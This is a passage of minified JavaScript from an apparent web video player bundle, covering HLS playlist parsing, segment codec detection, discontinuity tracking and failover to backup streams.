n=this;this.on=function(t,i){n.listeners.hasOwnProperty(t)||(n.listeners[t]=[]);n.listeners[t].push(i)};this.off=function(t,i){if(!n.listeners.hasOwnProperty(t))return!1;var r=n.listeners[t].indexOf(i);return r>-1&&(n.listeners[t].splice(r,1),!0)};this.trigger=function(t){for(var r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i];n.listeners.hasOwnProperty(t)&&n.listeners[t].forEach(function(n){return n.apply(null,r)})};this.pipe=function(t){n.on("data",function(n){t.push(n)})};this.dispose=function(){n.listeners={}};this.listeners={}},l=function(n){function t(){var t=n.call(this)||this;return t.buffer="",t}return f(t,n),t.prototype.push=function(n){this.buffer+=n;for(var t=this.buffer.indexOf("\n");t>-1;t=this.buffer.indexOf("\n"))this.trigger("data",this.buffer.substring(0,t)),this.buffer=this.buffer.substring(t+1)},t}(o),u=function(n){function t(){return n.call(this)||this}return f(t,n),t.parseAttributes=function(n){for(var i=n.split(t.attributeSeparator),r=i.length,u={};r--;)if(""!==i[r]){var f=this.attributeKeyValueRegex.exec(i[r]).slice(1),e=f[0],o=f[1];u[e.trim()]=o.trim().replace(this.quotesRegex,"$1")}return u},t.prototype.push=function(n){var r,i,u,f;if(0!==(n=n.replace(/^[\u0000\s]+|[\u0000\s]+$/g,"")).length)if("#"===n[0])if(n=n.replace("\r",""),r=/^#EXTM3U/.exec(n))this.trigger("data",{type:"tag",tagType:"m3u"});else if(r=/^#EXT-X-INDEPENDENT-SEGMENTS/.exec(n))this.trigger("data",{type:"tag",tagType:"independent-segments"});else{if(r=/^#EXT-X-MEDIA:(.*)$/.exec(n))return i={type:"tag",tagType:"media"},r[1]&&(i.attributes=t.parseAttributes(r[1])),void this.trigger("data",i);if(r=/^#EXTINF:?([0-9\.]*)?,?(.*)?$/.exec(n))return i={type:"tag",tagType:"inf"},r[1]&&(i.duration=parseFloat(r[1])),r[2]&&(i.title=r[2]),void this.trigger("data",i);if(r=/^#EXT-X-TARGETDURATION:?([0-9.]*)?/.exec(n))return i={type:"tag",tagType:"targetduration"},r[1]&&(i.duration=parseInt(r[1],10)),void this.trigger("data",i);if(r=/^#EXT-X-VERSION:?([0-9.]*)?/.exec(n))return i={type:"tag",tagType:"version"},r[1]&&(i.version=parseInt(r[1],10)),void this.trigger("data",i);if(r=/^#EXT-X-START:(.*)$/.exec(n))return i={type:"tag",tagType:"start"},r[1]&&(i.attributes=t.parseAttributes(r[1])),void this.trigger("data",i);if(r=/^#EXT-X-MEDIA-SEQUENCE:?(\-?[0-9.]*)?/.exec(n))return i={type:"tag",tagType:"media-sequence"},r[1]&&(i.number=parseInt(r[1],10)),void this.trigger("data",i);if(r=/^#EXT-X-DISCONTINUITY-SEQUENCE:?(\-?[0-9.]*)?/.exec(n))return i={type:"tag",tagType:"discontinuity-sequence"},r[1]&&(i.number=parseInt(r[1],10)),void this.trigger("data",i);if(r=/^#EXT-X-PLAYLIST-TYPE:?(.*)?$/.exec(n))return i={type:"tag",tagType:"playlist-type"},r[1]&&(i.playlistType=r[1]),void this.trigger("data",i);if(r=/^#EXT-X-BYTERANGE:?([0-9.]*)?@?([0-9.]*)?/.exec(n))return i={type:"tag",tagType:"byterange"},r[1]&&(i.length=parseInt(r[1],10)),r[2]&&(i.offset=parseInt(r[2],10)),void this.trigger("data",i);if(r=/^#EXT-X-ALLOW-CACHE:?(YES|NO)?/.exec(n))return i={type:"tag",tagType:"allow-cache"},r[1]&&(i.allowed=!/NO/.test(r[1])),void this.trigger("data",i);if(r=/^#EXT-X-SESSION-DATA:?(.*)$/.exec(n))return i={type:"tag",tagType:"session-data"},r[1]&&(i.attributes=t.parseAttributes(r[1])),void this.trigger("data",i);if(r=/^#EXT-X-SESSION-KEY:?(.*)$/.exec(n))return i={type:"tag",tagType:"session-key"},r[1]&&(i.attributes=t.parseAttributes(r[1]),i.attributes.IV&&(i.attributes.IV=i.attributes.IV.toLowerCase(),"0x"===i.attributes.IV.substring(0,2)&&(i.attributes.IV=i.attributes.IV.substring(2)),i.attributes.IV=new Uint8Array(s.FormatHelper.hexToBytes(i.attributes.IV)).buffer)),void this.trigger("data",i);if(r=/^#EXT-X-STREAM-INF:?(.*)$/.exec(n))(i={type:"tag",tagType:"stream-inf"},r[1])&&((i.attributes=t.parseAttributes(r[1]),i.attributes.RESOLUTION)&&(u={},(f=i.attributes.RESOLUTION.split("x"))[0]&&(u.width=parseInt(f[0],10)),f[1]&&(u.height=parseInt(f[1],10)),i.attributes.RESOLUTION=u),i.attributes.BANDWIDTH&&(i.attributes.BANDWIDTH=parseInt(i.attributes.BANDWIDTH,10)),i.attributes["AVERAGE-BANDWIDTH"]&&(i.attributes["AVERAGE-BANDWIDTH"]=parseInt(i.attributes["AVERAGE-BANDWIDTH"],10)),i.attributes["PROGRAM-ID"]&&(i.attributes["PROGRAM-ID"]=parseInt(i.attributes["PROGRAM-ID"],10))),this.trigger("data",i);else if(r=/^#EXT-X-I-FRAME-STREAM-INF:?(.*)$/.exec(n))i={type:"tag",tagType:"i-frame-stream-inf"},r[1]&&(i.attributes=t.parseAttributes(r[1]),i.attributes.BANDWIDTH&&(i.attributes.BANDWIDTH=parseInt(i.attributes.BANDWIDTH,10)),i.attributes["AVERAGE-BANDWIDTH"]&&(i.attributes["AVERAGE-BANDWIDTH"]=parseInt(i.attributes["AVERAGE-BANDWIDTH"],10)),i.attributes.RESOLUTION)&&(u={},(f=i.attributes.RESOLUTION.split("x"))[0]&&(u.width=parseInt(f[0],10)),f[1]&&(u.height=parseInt(f[1],10)),i.attributes.RESOLUTION=u),this.trigger("data",i);else if(r=/^#EXT-X-ENDLIST/.exec(n))this.trigger("data",{type:"tag",tagType:"endlist"});else if(r=/^#EXT-X-DISCONTINUITY/.exec(n))this.trigger("data",{type:"tag",tagType:"discontinuity"});else{if(r=/^#EXT-X-KEY:?(.*)$/.exec(n))return i={type:"tag",tagType:"key"},r[1]&&(i.attributes=t.parseAttributes(r[1]),i.attributes.IV&&(i.attributes.IV=i.attributes.IV.toLowerCase(),"0x"===i.attributes.IV.substring(0,2)&&(i.attributes.IV=i.attributes.IV.substring(2)),i.attributes.IV=new Uint8Array(s.FormatHelper.hexToBytes(i.attributes.IV)).buffer)),void this.trigger("data",i);if(r=/^#EXT-X-MAP:?(.*)$/.exec(n))return i={type:"tag",tagType:"map"},r[1]&&(i.attributes=t.parseAttributes(r[1])),void this.trigger("data",i);if(r=/^#EXT-X-PROGRAM-DATE-TIME:?(.*)$/.exec(n))return i={type:"tag",tagType:"date-time"},r[1]&&(i.dateTime=new Date(r[1])),void this.trigger("data",i);(r=/^#EXT-X-CUE-OUT-CONT:?(.*)?$/.exec(n))?this.trigger("data",{type:"tag",tagType:"cue-out-cont",data:r[1]||""}):(r=/^#EXT-X-CUE-OUT:?(.*)?$/.exec(n))?this.trigger("data",{type:"tag",tagType:"cue-out",data:r[1]||""}):(r=/^#EXT-X-CUE-IN:?(.*)?$/.exec(n))?this.trigger("data",{type:"tag",tagType:"cue-in",data:r[1]||""}):(r=/^#EXT-X-SCTE35:?(.*)?$/.exec(n))?this.trigger("data",{type:"tag",tagType:"scte35",data:r[1]||""}):(r=/^#EXT-X-DATERANGE:?(.*)?$/.exec(n))?this.trigger("data",{type:"tag",tagType:"daterange",data:r[1]||""}):this.trigger("data",{type:"tag",tagType:"unknown",data:n.slice(0,n.length)})}}else this.trigger("data",{type:"uri",uri:n})},t.attributeSeparator=new RegExp('(?:^|,)((?:[^=]*)=(?:"[^"]*"|[^,]*))'),t.attributeKeyValueRegex=new RegExp("([^=]*)=(.*)"),t.quotesRegex=new RegExp(/^['"](.*)['"]$/),t}(o);t.ParseStream=u;h=function(n){function t(i){var f=n.call(this)||this;return f.onData=function(n){({tag:function(){({m3u:function(){f.manifestObj.hasM3u=!0},"allow-cache":function(){f.manifestObj.allowCache=n.allowed;"allowed"in n||(f.trigger("info",{message:"defaulting allowCache to YES"}),f.manifestObj.allowCache=!0)},byterange:function(){var t={};"length"in n&&(f.currentUri.byterange=t,t.length=n.length,"offset"in n||(f.trigger("info",{message:"defaulting offset to zero"}),n.offset=0));"offset"in n&&(f.currentUri.byterange=t,t.offset=n.offset)},endlist:function(){f.manifestObj.endList=!0},inf:function(){"mediaSequence"in f.manifest||(f.manifestObj.mediaSequence=0,f.trigger("info",{message:"defaulting media sequence to zero"}));n.duration>=0&&(f.currentUri.duration=n.duration);f.manifestObj.segments=f.uris},key:function(){if(n.attributes)if("NONE"!==n.attributes.METHOD)if(n.attributes.URI){n.attributes.METHOD||f.trigger("warn",{message:"defaulting key method to AES-128"});f.keysInUse&&(f.keys=[],f.keysInUse=!1);var t={method:r.forceReallocation(n.attributes.METHOD)||"AES-128",uri:r.forceReallocation(n.attributes.URI)};void 0!==n.attributes.IV&&(t.iv=n.attributes.IV);n.attributes.KEYFORMAT&&(t.keyformat=r.forceReallocation(n.attributes.KEYFORMAT));n.attributes.KEYFORMATVERSIONS&&(t.keyformatversions=r.forceReallocation(n.attributes.KEYFORMATVERSIONS));n.attributes.KEYID&&(t.keyid=r.forceReallocation(n.attributes.KEYID));f.keys.push(t)}else f.trigger("warn",{message:"ignoring key declaration without URI"});else f.keys=[];else f.trigger("warn",{message:"ignoring key declaration without attribute list"})},"media-sequence":function(){isFinite(n.number)?f.manifestObj.mediaSequence=n.number:f.trigger("warn",{message:"ignoring invalid media sequence: "+n.number})},"discontinuity-sequence":function(){isFinite(n.number)?f.manifestObj.discontinuitySequence=n.number:f.trigger("warn",{message:"ignoring invalid discontinuity sequence: "+n.number})},"playlist-type":function(){/VOD|EVENT/.test(n.playlistType)?f.manifestObj.playlistType=n.playlistType:f.trigger("warn",{message:"ignoring unknown playlist type: "+n.playlist})},"stream-inf":function(){f.manifestObj.playlists=f.uris;n.attributes?(f.currentUri.attributes||(f.currentUri.attributes={}),f.currentUri.id=function(n){var t="";return n.RESOLUTION&&(t+=n.RESOLUTION.height+"_"),t+n.BANDWIDTH}(n.attributes),f.currentUri.attributes=t.mergeFn(n.attributes,f.currentUri.attributes)):f.trigger("warn",{message:"ignoring empty stream-inf attributes"})},"i-frame-stream-inf":function(){var t={name:"i-frame-stream-inf"};n.attributes&&(t.attributes=n.attributes);f.manifestObj.tags.push(t)},media:function(){f.manifestObj.media.push({attributes:n.attributes});var t={name:"media"};n.attributes&&(t.attributes=n.attributes);f.manifestObj.tags.push(t)},start:function(){var t={},i;n.attributes.hasOwnProperty("TIME-OFFSET")&&(t.timeOffset=Number(n.attributes["TIME-OFFSET"]),t.precise="YES"===n.attributes.PRECISE,f.manifestObj.start=t);i={name:"start"};t.hasOwnProperty("timeOffset")&&(i.attributes={"TIME-OFFSET":t.timeOffset,PRECISE:t.precise});f.manifestObj.tags.push(i)},discontinuity:function(){f.currentUri.discontinuity=!0;f.manifestObj.discontinuityStarts.push(f.uris.length)},"date-time":function(){f.manifestObj.dateTime=n.dateTime},targetduration:function(){!isFinite(n.duration)||n.duration<0?f.trigger("warn",{message:"ignoring invalid target duration: "+n.duration}):f.manifestObj.targetDuration=n.duration},map:function(){if(n.attributes&&n.attributes.URI&&(f.init={url:r.forceReallocation(n.attributes.URI)},n.attributes.BYTERANGE)){var t=n.attributes.BYTERANGE.split("@"),u=t[0],i=t[1];f.init.byteRange={start:parseInt(i),end:parseInt(i)+parseInt(u)-1}}},"independent-segments":function(){f.manifestObj.independentSegments=!0;f.manifestObj.tags.push({name:"independent-segments"})},"session-data":function(){var t={name:"session-data"};n.attributes&&(t.attributes=n.attributes);f.manifestObj.tags.push(t)},"session-key":function(){var t={name:"session-key"};n.attributes&&(t.attributes=n.attributes);f.manifestObj.tags.push(t)},"cue-out":function(){f.cueTag=t.getCueTag(n)},"cue-out-cont":function(){f.cueTag=t.getCueTag(n)},"cue-in":function(){f.cueTag=t.getCueTag(n)},scte35:function(){f.scte35.push({type:e.MetadataType.SCTE,attributes:u.parseAttributes(n.data)})},daterange:function(){f.dateRange.push(t.getDateRange(n))},version:function(){f.manifestObj.version=void 0!==n.version?n.version:1},unknown:function(){f.customTags.push({type:e.MetadataType.CUSTOM,attributes:n.data});var t=f.getCustomTag(n.data);t&&f.manifestObj.tags.push(t)}}[n.tagType]||function(){})()},uri:function(){f.currentUri.uri=r.forceReallocation(n.uri);f.manifestObj.targetDuration&&!("duration"in f.currentUri)&&(f.trigger("warn",{message:"defaulting segment duration to the target duration"}),f.currentUri.duration=f.manifestObj.targetDuration);f.keys.length>0&&(f.currentUri.keys=f.keys,f.keysInUse=!0);f.init&&(f.currentUri.init=f.init);f.cueTag&&(f.currentUri.cueTag=f.cueTag,f.cueTag=null);f.scte35.length>0&&(f.currentUri.scte35=f.scte35,f.scte35=[]);f.dateRange.length>0&&(f.currentUri.dateRange=f.dateRange,f.dateRange=[]);f.customTags.length>0&&(f.currentUri.customTags=f.customTags,f.customTags=[]);f.manifestObj.dateTime&&(f.currentUri.dateTime=f.manifestObj.dateTime,delete f.manifestObj.dateTime);f.uris.push(f.currentUri);f.currentUri.duration&&(f.manifestObj.totalDuration+=f.currentUri.duration);f.currentUri={}},comment:function(){}})[n.type]()},f.end=function(){f.lineStream.push("\n")},f.logger=i,f.uris=[],f.currentUri={},f.keys=[],f.keysInUse=!1,f.cueTag=null,f.scte35=[],f.customTags=[],f.dateRange=[],f.lineStream=new l,f.parseStream=new u,f.lineStream.pipe(f.parseStream),f.manifestObj={allowCache:!0,discontinuityStarts:[],endList:!1,media:[],segments:[],totalDuration:0,tags:[],version:1,hasM3u:!1},f.parseStream.on("data",f.onData),f}return f(t,n),Object.defineProperty(t.prototype,"manifest",{get:function(){return this.manifestObj},enumerable:!1,configurable:!0}),t.getCueTag=function(n){var t={type:n.tagType.toUpperCase()},i;return n.data&&(i=r.forceReallocation(n.data),t.attributes=i.split(",").map(function(n){return n.trim()})),t},t.getDateRange=function(n){var t={type:e.MetadataType.DATERANGE},f,i;if(n.data){f=u.parseAttributes(n.data);for(i in t.clientAttributes={},f)f.hasOwnProperty(i)&&(0===i.indexOf("X-")?t.clientAttributes[r.kebabCaseToCamelCase(i.substr(2))]=f[i]:t[r.kebabCaseToCamelCase(i)]=f[i])}return t.duration&&(t.duration=Number(t.duration)),t.plannedDuration&&(t.plannedDuration=Number(t.plannedDuration)),t.endOnNext&&(t.endOnNext=!0),t},t.prototype.getCustomTag=function(n){var t,f,i,e;try{if(n=r.forceReallocation(n),t=/^#([^:=]*)(:|=)?(.*)$/.exec(n),t[1])return f={name:t[1]},i="","="===t[2]&&t[3]?i=t[3]:":"===t[2]&&t[3]&&(e=/^([^:="]*)(:|=)?(.*)$/.exec(t[3]),"="===e[2]&&e[3]?f.attributes=u.parseAttributes(t[3]):i=t[3]),i&&(f.value=i.replace(/^['"](.*)['"]$/g,"$1")),f}catch(t){return this.logger&&this.logger.debug("Error occurred while parsing custom HLS tag: ".concat(n)),null}},t.prototype.push=function(n){this.lineStream.push(n)},t.mergeFn=function(n,i){if("object"!=typeof n||"object"!=typeof i||Array.isArray(n)&&Array.isArray(n))return n;for(var r in n)i[r]=i.hasOwnProperty(r)?t.mergeFn(n[r],i[r]):n[r];return i},t}(o);c=function(){function n(){}return n.parsePlaylist=function(n,t){var i=new h(t),r;if(i.push(n),i.end(),!i.manifest.hasM3u)throw new Error("Playlist parsing failed: missing #EXTM3U tag");return"playlists"in i.manifest&&(r=i.manifest.playlists.map(function(n){return{name:"stream-inf",value:n.uri,attributes:n.attributes}}),i.manifest.tags=i.manifest.tags.concat(r)),"playlistType"in i.manifest&&"EVENT"===i.manifest.playlistType&&(i.manifest.discontinuitySequence=i.manifest.discontinuitySequence||0),i.manifest},n}();t.HlsUtils=c},64697:function(n,t,i){"use strict";function e(n,t){if(!u.ModuleManager.has(r.ModuleName.ContainerTS))return Promise.reject(new f.PlayerModuleMissingError(r.ModuleName.ContainerTS));var i=function(n){return new(u.ModuleManager.get(r.ModuleName.ContainerTS).WebWorkerTransmuxer)(n,!1)}(t);return i.transmuxSegment(n).then(function(t){var i=s(t.transmuxedSegments);if(!i)throw"couldn't detect codec for ".concat(n.getMimeType());return i}).finally(function(){i.dispose()})}function o(n){if(!u.ModuleManager.has(r.ModuleName.ContainerMP4))return Promise.reject(new f.PlayerModuleMissingError(r.ModuleName.ContainerMP4));var t=u.ModuleManager.get(r.ModuleName.ContainerMP4).getCodecFromSegment(n);return t?Promise.resolve(t):Promise.reject("couldn't detect codec for ".concat(n.getMimeType()))}function s(n){for(var r,t="",i=0,u=n;i<u.length;i++){if(r=u[i],!r.getCodec())return null;t+=(""===t?"":",")+r.getCodec()}return t}function h(n){for(var u,e,f=n.getData(),i=new DataView(f,0,f.byteLength),r=[],t=0;t+8<i.byteLength;){if(u=i.getUint32(t),0===u)break;e=a.ArrayHelper.extractAsciiString(i,t+4,4);r.push(e);t+=u}return n.isInit()?["ftyp","moov"].every(function(n){return r.includes(n)}):["moof","mdat"].every(function(n){return r.includes(n)})}Object.defineProperty(t,"__esModule",{value:!0});t.isFmp4Segment=t.mergeSegmentCodecs=t.extractCodecFromMp4Segment=t.extractCodecFromTsSegment=t.CodecDetector=void 0;var c=i(28764),l=i(88005),a=i(81361),u=i(91520),r=i(16368),f=i(41108),v=function(){function n(n){this.context=n;this.loader=new l.DefaultContentLoader(this.context)}return n.prototype.fetchSegment=function(n){return this.context.segmentPrefetchingService&&(this.context.segmentPrefetchingService.hasPrefetchedSegment(n)?this.context.segmentPrefetchingService.getPrefetchedSegment(n):this.context.segmentPrefetchingService.fetch(n))||Promise.reject()},n.prototype.probeCodecs=function(n,t){var r=this,u=n.slice(),i,f;if(0===u.length)throw"could not load any segment";return i=t?u.pop():u.shift(),f=function(n,t){var i=t&&t._byteRange?t._byteRange:void 0;return{url:n,key:t&&t._key?t._key:void 0,byteRange:i,mimeType:"unknown/mp4",internalRepresentationId:null,isInitSegment:Boolean(t._init),preventDownloadCanceling:!0}}(i._init?i._init.url:i._media,i),this.fetchSegment(f).then(function(n){return r.extractCodecsFromSegment(n)}).catch(function(n){if(n instanceof c.PlayerError)throw n;return r.context.logger.debug("Codec probing from segment failed",n),r.probeCodecs(u,t)}).then(function(n){return r.context.logger.debug("Probed codec is",n),n})},n.prototype.extractCodecsFromSegment=function(n){return h(n)?o(n):e(n,this.context)},n}();t.CodecDetector=v;t.extractCodecFromTsSegment=e;t.extractCodecFromMp4Segment=o;t.mergeSegmentCodecs=s;t.isFmp4Segment=h},47479:function(n,t,i){"use strict";function u(n,t){var i={};return i.startTime=r.toSeconds(Date.parse(n.startDate)),n.endDate?i.endTime=r.toSeconds(Date.parse(n.endDate)):isNaN(n.duration)?n.endOnNext&&t&&(i.endTime=r.toSeconds(Date.parse(t.startDate))):i.endTime=r.toSeconds(Date.parse(n.startDate))+n.duration,i.data=n,i}function f(n,t,i){for(var r=t+1;r<i.length;r++)if(i[r].class&&i[r].class===n.class)return i[r]}Object.defineProperty(t,"__esModule",{value:!0});t.handleDateRangeMetadata=t.nextDateRangeWithSameClass=t.getDateRangeEvent=void 0;var r=i(331),e=i(73725);t.getDateRangeEvent=u;t.nextDateRangeWithSameClass=f;t.handleDateRangeMetadata=function(n,t){for(var o,i=[],r=0;r<n.segments.length;r++)o=n.segments[r].dateRange,o&&i.push.apply(i,o);i.forEach(function(n,i,r){var o,s;n.endOnNext&&n.class&&(o=f(n,i,r));s=u(n,o);t.processDateRangeEvent(s,e.HLS_PERIOD_ID)})}},26527:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.DiscontinuitySequenceNumberTracker=void 0;var i=function(){function n(n){this.mimeTypeFilter=n;this.discoSequenceNumberChangedListeners=[];this.reset()}return n.prototype.notifyListeners=function(n){var t=this;this.discoSequenceNumberChangedListeners.forEach(function(i){return i(t.currentDiscontinuitySequenceNumber,n)})},n.prototype.trackSegment=function(n){if(this.mimeTypeFilter(n.getMimeType())&&!n.isInit()){var i=n.getSegmentInfo(),t=null==i?void 0:i.discontinuitySequenceNumber,r=isFinite(this.currentDiscontinuitySequenceNumber),u=this.currentDiscontinuitySequenceNumber!==t;r&&u&&this.notifyListeners(t);this.currentDiscontinuitySequenceNumber=t}},n.prototype.subscribe=function(n){this.discoSequenceNumberChangedListeners.push(n)},n.prototype.unsubscribe=function(n){var t=this.discoSequenceNumberChangedListeners.indexOf(n);t<0||this.discoSequenceNumberChangedListeners.splice(t,1)},n.prototype.reset=function(){this.currentDiscontinuitySequenceNumber=-1/0},n.prototype.dispose=function(){this.reset();this.discoSequenceNumberChangedListeners=[]},n}();t.DiscontinuitySequenceNumberTracker=i},293:function(n,t,i){"use strict";function p(n,t){var i,r,u,f,e=t&&null!==(f=null===(u=null===(r=null===(i=v.getManifest(t))||void 0===i?void 0:i.BaseURL)||void 0===r?void 0:r[0])||void 0===u?void 0:u.url)&&void 0!==f?f:"";return y.PlaylistUtils.getBaseUrl(e,n)}function c(n,t){return n.filter(function(n,i,r){return r.findIndex(function(i){return i[t]===n[t]})===i})}var f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)},h;Object.defineProperty(t,"__esModule",{value:!0});t.HlsBackupStreamsHandler=t.BackupStreamErrors=void 0;var u,e=i(18665),o=i(23234),l=i(27279),r=i(79814),a=i(41735),v=i(77874),s=i(13254),y=i(53950);!function(n){n.ALL_PENALIZED="ALL_PENALIZED";n.LOADING_FAILED="LOADING_FAILED";n.NO_BACKUP_STREAMS="NO_BACKUP_STREAMS"}(u||(t.BackupStreamErrors=u={}));h=function(){function n(n,t,i){this.context=n;this.backupStreamInfo=t;this.updateRepresentation=i;this.backupStreamsMap={};this.penalizedStreams={};this.selectedStreamIndex=0;this.manifestService=n.serviceManager.get(e.ServiceName.ManifestService,n.sourceContext.sourceIdentifier);this.manifestSchedulingService=this.context.serviceManager.get(e.ServiceName.ManifestUpdateSchedulingService,this.context.sourceContext.sourceIdentifier)}return n.prototype.populateBackupStreamsMap=function(n){this.backupStreamsMap=function(n,t){var i,u=((i={})[r.MimeType.AudioMp4]={},i[r.MimeType.VideoMp4]={},i);return t.forEach(function(t){var i,f=t._mimeType===r.MimeType.AudioMp4?null!==(i=t._name)&&void 0!==i?i:r.MimeType.AudioMp4:r.MimeType.VideoMp4,e=n.find(function(n){return n.find(function(n){return n[f]===t.Uri})});e&&(u[t._mimeType][t._id]=c(e,f))}),u}(this.backupStreamInfo,n)},n.prototype.switchToBackupStream=function(n){var e,o=null===(e=this.backupStreamsMap[n._mimeType])||void 0===e?void 0:e[n._id],t,i,f,s;return!o||o.length<=1?Promise.reject(u.NO_BACKUP_STREAMS):(t=this.getCurrentRepresentation(n._mimeType),(null==t?void 0:t._id)===n._id&&(null==t?void 0:t.Uri)!==n.Uri)?(this.context.logger.debug("Current ".concat(n._mimeType," rep ").concat(n._id," is already being updated")),Promise.resolve([t])):(this.penalizeCurrentStreamIndex(),this.depenalizeExpiredStreams(),i=this.getNextBackupStreamIndex(o,this.selectedStreamIndex),void 0===i)?(this.context.logger.debug("No other backup stream is available: all penalized."),Promise.reject(u.ALL_PENALIZED)):(this.context.logger.debug("Starting failover from index ".concat(this.selectedStreamIndex," to ").concat(i)),this.selectedStreamIndex=i,f=[],f.push(this.rotatePlaylistUrl(n)),s=n._mimeType===r.MimeType.AudioMp4?this.getCurrentRepresentation(r.MimeType.VideoMp4):this.getCurrentRepresentation(r.MimeType.AudioMp4),s&&f.push(this.rotatePlaylistUrl(s)),Promise.all(f).catch(function(){return Promise.reject(u.LOADING_FAILED)}))},n.prototype.penalizeCurrentStreamIndex=function(){this.context.logger.debug("Penalizing stream with index ".concat(this.selectedStreamIndex));this.penalizedStreams[this.selectedStreamIndex]=o.TimingUtil.getHiResTimestamp()},n.prototype.depenalizeExpiredStreams=function(){var n=this,t=o.TimingUtil.getHiResTimestamp();Object.keys(this.penalizedStreams).map(function(n){return Number(n)}).forEach(function(i){var r=n.penalizedStreams[i];t-r>=n.context.settings.HLS_BACKUP_STREAM_PENALTY_DURATION&&(n.context.logger.debug("Depenalizing stream with index ".concat(i)),delete n.penalizedStreams[i])})},n.prototype.rotatePlaylistUrl=function(n){var u=this,i=l.getSourceStore(this.context),r,t;return i?(this.rotateAllRepresentations(n._mimeType,i),r=n._internalId,t=s.getRepresentation(r,s.getPeriod(i)),n.Uri===(null==t?void 0:t.Uri)?(this.context.logger.debug("Current ".concat(n._mimeType," rep ").concat(n._id," does not need update")),Promise.resolve(n)):(this.context.logger.log("Rotating URL for rep ".concat(n._id," from ").concat(n.Uri," to ").concat(t.Uri)),this.maybeCancelOngoingUpdate(n),this.updateRepresentation(t).then(function(n){return u.maybeRescheduleUpdate(n),n}))):Promise.resolve(n)},n.prototype.maybeCancelOngoingUpdate=function(n){var t,i;(null===(t=this.manifestService)||void 0===t?void 0:t.isLive())&&(null===(i=this.manifestSchedulingService)||void 0===i||i.cancelRepresentationUpdate(n))},n.prototype.maybeRescheduleUpdate=function(n){var t,i;(null===(t=this.manifestService)||void 0===t?void 0:t.isLive())&&(null===(i=this.manifestSchedulingService)||void 0===i||i.scheduleRepresentationUpdate(n))},n.prototype.rotateAllRepresentations=function(n,t){var i,r=this;null===(i=this.manifestService)||void 0===i||i.getAllRepresentations().filter(function(t){return t._mimeType===n}).forEach(function(i){var u,e,o,s,l=null!==(e=null===(u=r.backupStreamsMap[n])||void 0===u?void 0:u[i._id])&&void 0!==e?e:[],v=null!==(o=i._name)&&void 0!==o?o:n,h=null===(s=l[r.selectedStreamIndex])||void 0===s?void 0:s[v],c;h&&(c=f(f({},i),{Uri:h,BaseURL:[{url:p(h,t.getState())}]}),t.dispatch(a.updateRepresentationAction(c)))})},n.prototype.getNextBackupStreamIndex=function(n,t){for(var r,i=1;i<=n.length;i++)if(r=(t+i)%n.length,void 0===this.penalizedStreams[r])return r},n.prototype.getCurrentRepresentation=function(n){var t,i,r,u=this.context.serviceManager.get(e.ServiceName.AdaptationService),f=null!==(t=null==u?void 0:u.getCurrentRepresentationId(n))&&void 0!==t?t:void 0;if(null!==(r=null===(i=this.manifestService)||void 0===i?void 0:i.getRepresentationById(f))&&void 0!==r)return r},n.prototype.getNextBackupUriForCodecProbing=function(n){var t,i,r,u,e=function(t){return Object.values(t).includes(n)},f=null!==(t=this.backupStreamInfo.find(function(n){return n.some(e)}))&&void 0!==t?t:[],o=f.findIndex(e),s=null!==(i=f[o])&&void 0!==i?i:{},h=null!==(r=Object.keys(s).find(function(t){return s[t]===n}))&&void 0!==r?r:"";if(null!==(u=c(f,h)[o+1])&&void 0!==u)return u[h]},n.prototype.dispose=function(){this.penalizedStreams={}},n}();t.HlsBackupStreamsHandler=h},13254:function(n,t,i){"use strict";function h(n,t){return(n.settings.HLS_PARSE_MANIFEST_IN_WORKER?c(t,n.logger):function(n){try{f.trackPerformanceStart("HlsPlaylist.parsePlaylist");var t=p.parsePlaylist(n);return f.trackPerformanceEnd("HlsPlaylist.parsePlaylist"),Promise.resolve(t)}catch(n){return Promise.reject(n)}}(t)).then(function(t){if("playlists"in t){var i=t.playlists.filter(function(t){return t.attributes.BANDWIDTH>=n.settings.HLS_AUDIO_ONLY_THRESHOLD_BITRATE});t.playlists=i.length?i:t.playlists}return t})}function c(n,t){return w.WebWorkerParser.getInstance(t).parsePlaylist(n)}function l(n,t){var r,u=function(n){return n.playlists||[]}(n),e=u.some(function(n){return s.URLHelper.isSubUrl(t,n.uri)}),f=function(n,t){return function(n){return n.media||[]}(n).find(function(n){var i;return s.URLHelper.isSubUrl(t,null===(i=n.attributes)||void 0===i?void 0:i.URI)})}(n,t),i;return!e&&f&&(i=null===(r=f.attributes)||void 0===r?void 0:r["GROUP-ID"],i)?u.filter(function(n){var t,r;return(null===(t=n.attributes)||void 0===t?void 0:t.AUDIO)===i||(null===(r=n.attributes)||void 0===r?void 0:r.VIDEO)===i}):u}var u=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.findAllOrMatchingVariants=t.getRepresentation=t.updateMissingCodecsForPlaylists=t.getAdaptationSetsWithUnknownCodecs=t.createDiscontinuitySequences=t.parsePlaylistInWorker=t.ensureMasterPlaylist=t.parseHlsManifest=t.getPeriod=t.isM3u8Error=t.isValidHlsPlaylist=void 0;var a=i(29638),f=i(16937),e=i(42283),o=i(79814),s=i(76885),v=i(94938),y=i(77874),p=i(59692),r=i(53950),w=i(4383);t.isValidHlsPlaylist=function(n){return r.isMasterPlaylist(n)&&function(n){return n.playlists.length>0}(n)||r.isMediaPlaylist(n)&&function(n){return n.segments.length>0}(n)};t.isM3u8Error=function(n){return n in a.M3u8Error};t.getPeriod=function(n){return y.getManifest(n.getState()).Period[0]};t.parseHlsManifest=h;t.ensureMasterPlaylist=function(n,t,i){return r.isMasterPlaylist(t)?Promise.resolve(t):(n.logger.debug("HLS manifest is not a master playlist but a variant. Using master playlist template!"),h(n,["#EXTM3U","#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=0",i].join("\n")).then(function(n){if(!r.isMasterPlaylist(n))throw new Error("Template is not of type HLS MasterPlaylist");return n}))};t.parsePlaylistInWorker=c;t.createDiscontinuitySequences=function(n,t){var i=r.PlaylistUtils.createDiscontinuitySequences(n,t);return 